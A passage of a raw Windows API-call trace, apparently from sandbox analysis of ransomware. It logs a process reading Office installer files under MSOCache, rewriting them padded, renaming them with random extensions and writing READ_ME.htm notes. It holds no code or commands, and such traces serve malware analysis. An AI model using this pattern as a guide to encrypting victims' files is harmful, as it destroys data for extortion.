cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0133.266] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0133.267] SetErrorMode (uMode=0x0) returned 0x1 [0133.267] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.xml", lpFilePart=0x0) returned 0x50 [0133.268] SetErrorMode (uMode=0x1) returned 0x0 [0133.268] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0133.270] GetFileType (hFile=0x1d0) returned 0x1 [0133.270] SetErrorMode (uMode=0x0) returned 0x1 [0133.270] GetFileType (hFile=0x1d0) returned 0x1 [0133.270] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x67d [0133.271] ReadFile (in: hFile=0x1d0, lpBuffer=0x289df68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x289df68*, lpNumberOfBytesRead=0x21d4d8*=0x67d, lpOverlapped=0x0) returned 1 [0133.291] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.xml", lpFilePart=0x0) returned 0x50 [0133.291] SetErrorMode (uMode=0x1) returned 0x0 [0133.291] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0133.293] GetFileType (hFile=0x1d0) returned 0x1 [0133.293] SetErrorMode (uMode=0x0) returned 0x1 [0133.293] GetFileType (hFile=0x1d0) returned 0x1 [0133.293] WriteFile (in: hFile=0x1d0, lpBuffer=0x2981198*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x2981198*, lpNumberOfBytesWritten=0x21d478*=0x680, lpOverlapped=0x0) returned 1 [0133.294] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.xml", lpFilePart=0x0) returned 0x50 [0133.295] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.xml.ofmwoh", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.xml.ofmwoh", lpFilePart=0x0) returned 0x57 [0133.295] SetErrorMode (uMode=0x1) returned 0x0 [0133.295] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\powerpointmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34e10110, ftCreationTime.dwHighDateTime=0x1d0cbb3, ftLastAccessTime.dwLowDateTime=0x34e10110, ftLastAccessTime.dwHighDateTime=0x1d0cbb3, ftLastWriteTime.dwLowDateTime=0x4c0aa440, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x680)) returned 1 [0133.295] SetErrorMode (uMode=0x0) returned 0x1 [0133.295] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\powerpointmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\PowerPointMUI.xml.ofmwoh" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\powerpointmui.xml.ofmwoh")) returned 1 [0133.309] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0133.309] SetErrorMode (uMode=0x1) returned 0x0 [0133.309] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0133.311] GetFileType (hFile=0x1d0) returned 0x1 [0133.311] SetErrorMode (uMode=0x0) returned 0x1 [0133.311] GetFileType (hFile=0x1d0) returned 0x1 [0133.311] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x818 [0133.311] ReadFile (in: hFile=0x1d0, lpBuffer=0x29836b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x29836b8*, lpNumberOfBytesRead=0x21d4d8*=0x818, lpOverlapped=0x0) returned 1 [0133.425] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0133.425] SetErrorMode (uMode=0x1) returned 0x0 [0133.425] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0133.426] GetFileType (hFile=0x1d0) returned 0x1 [0133.427] SetErrorMode (uMode=0x0) returned 0x1 [0133.427] GetFileType (hFile=0x1d0) returned 0x1 [0133.427] WriteFile (in: hFile=0x1d0, lpBuffer=0x2869878*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x2869878*, lpNumberOfBytesWritten=0x21d478*=0x820, lpOverlapped=0x0) returned 1 [0133.430] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0133.430] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\Setup.xml.y51l5q", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\Setup.xml.y51l5q", lpFilePart=0x0) returned 0x4f [0133.431] SetErrorMode (uMode=0x1) returned 0x0 [0133.431] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x426d17b0, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x426d17b0, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0x4c1daf40, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x820)) returned 1 [0133.431] SetErrorMode (uMode=0x0) returned 0x1 [0133.431] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\Setup.xml.y51l5q" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\setup.xml.y51l5q")) returned 1 [0133.432] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0133.432] SetErrorMode (uMode=0x1) returned 0x0 [0133.432] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0018-0409-0000-0000000FF1CE}-C\\READ_ME.htm" (normalized: "c:\\msocache\\all users\\{90160000-0018-0409-0000-0000000ff1ce}-c\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0133.433] GetFileType (hFile=0x1d0) returned 0x1 [0133.433] SetErrorMode (uMode=0x0) returned 0x1 [0133.433] GetFileType (hFile=0x1d0) returned 0x1 [0133.433] WriteFile (in: hFile=0x1d0, lpBuffer=0x286e6b8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x286e6b8*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0133.434] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0133.434] SetErrorMode (uMode=0x1) returned 0x0 [0133.435] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3f92e40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0133.472] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3f92e40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.472] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16c60cc0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x16c60cc0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd3fb87d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x24c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0133.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8263d6b0, ftCreationTime.dwHighDateTime=0x1d0cbb3, ftLastAccessTime.dwLowDateTime=0x8263d6b0, ftLastAccessTime.dwHighDateTime=0x1d0cbb3, ftLastWriteTime.dwLowDateTime=0xd3f916d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x67e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0133.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4d82bc70, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0x4d82bc70, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd404fdb0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3658af, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0133.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4278fe90, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4278fe90, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd410e490, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x703, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0133.473] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4278fe90, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4278fe90, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd410e490, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x703, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0133.473] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0133.473] SetErrorMode (uMode=0x0) returned 0x1 [0133.473] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0133.474] SetErrorMode (uMode=0x1) returned 0x0 [0133.474] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\*" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3f92e40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0133.474] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xd3f92e40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd410fc00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd410fc00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.474] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x16c60cc0, ftCreationTime.dwHighDateTime=0x1d0cbbd, ftLastAccessTime.dwLowDateTime=0x16c60cc0, ftLastAccessTime.dwHighDateTime=0x1d0cbbd, ftLastWriteTime.dwLowDateTime=0xd3fb87d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x24c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0133.474] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8263d6b0, ftCreationTime.dwHighDateTime=0x1d0cbb3, ftLastAccessTime.dwLowDateTime=0x8263d6b0, ftLastAccessTime.dwHighDateTime=0x1d0cbb3, ftLastWriteTime.dwLowDateTime=0xd3f916d0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x67e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0133.475] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4d82bc70, ftCreationTime.dwHighDateTime=0x1d0cbbf, ftLastAccessTime.dwLowDateTime=0x4d82bc70, ftLastAccessTime.dwHighDateTime=0x1d0cbbf, ftLastWriteTime.dwLowDateTime=0xd404fdb0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x3658af, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0133.475] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4278fe90, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4278fe90, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd410e490, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x703, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0133.475] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4278fe90, ftCreationTime.dwHighDateTime=0x1d0cbd6, ftLastAccessTime.dwLowDateTime=0x4278fe90, ftLastAccessTime.dwHighDateTime=0x1d0cbd6, ftLastWriteTime.dwLowDateTime=0xd410e490, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x703, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0133.475] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0133.475] SetErrorMode (uMode=0x0) returned 0x1 [0133.475] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.xml", lpFilePart=0x0) returned 0x4f [0133.475] SetErrorMode (uMode=0x1) returned 0x0 [0133.475] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0133.476] GetFileType (hFile=0x1d0) returned 0x1 [0133.477] SetErrorMode (uMode=0x0) returned 0x1 [0133.477] GetFileType (hFile=0x1d0) returned 0x1 [0133.477] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x67e [0133.477] ReadFile (in: hFile=0x1d0, lpBuffer=0x28723e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x28723e8*, lpNumberOfBytesRead=0x21d4d8*=0x67e, lpOverlapped=0x0) returned 1 [0133.533] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.xml", lpFilePart=0x0) returned 0x4f [0133.533] SetErrorMode (uMode=0x1) returned 0x0 [0133.533] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0133.534] GetFileType (hFile=0x1d0) returned 0x1 [0133.534] SetErrorMode (uMode=0x0) returned 0x1 [0133.534] GetFileType (hFile=0x1d0) returned 0x1 [0133.535] WriteFile (in: hFile=0x1d0, lpBuffer=0x2955610*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x2955610*, lpNumberOfBytesWritten=0x21d478*=0x680, lpOverlapped=0x0) returned 1 [0133.536] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.xml", lpFilePart=0x0) returned 0x4f [0133.536] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.xml.w47ucz", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.xml.w47ucz", lpFilePart=0x0) returned 0x56 [0133.536] SetErrorMode (uMode=0x1) returned 0x0 [0133.536] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\publishermui.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8263d6b0, ftCreationTime.dwHighDateTime=0x1d0cbb3, ftLastAccessTime.dwLowDateTime=0x8263d6b0, ftLastAccessTime.dwHighDateTime=0x1d0cbb3, ftLastWriteTime.dwLowDateTime=0x4c2e58e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x680)) returned 1 [0133.537] SetErrorMode (uMode=0x0) returned 0x1 [0133.537] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\publishermui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\PublisherMUI.xml.w47ucz" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\publishermui.xml.w47ucz")) returned 1 [0133.537] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0133.538] SetErrorMode (uMode=0x1) returned 0x0 [0133.538] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0133.539] GetFileType (hFile=0x1d0) returned 0x1 [0133.539] SetErrorMode (uMode=0x0) returned 0x1 [0133.539] GetFileType (hFile=0x1d0) returned 0x1 [0133.539] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x703 [0133.539] ReadFile (in: hFile=0x1d0, lpBuffer=0x2957a18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2957a18*, lpNumberOfBytesRead=0x21d4d8*=0x703, lpOverlapped=0x0) returned 1 [0133.674] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0133.675] SetErrorMode (uMode=0x1) returned 0x0 [0133.675] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90160000-0019-0409-0000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90160000-0019-0409-0000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0133.676] GetFileType (hFile=0x1d0) returned 0x1 [0133.676] SetErrorMode 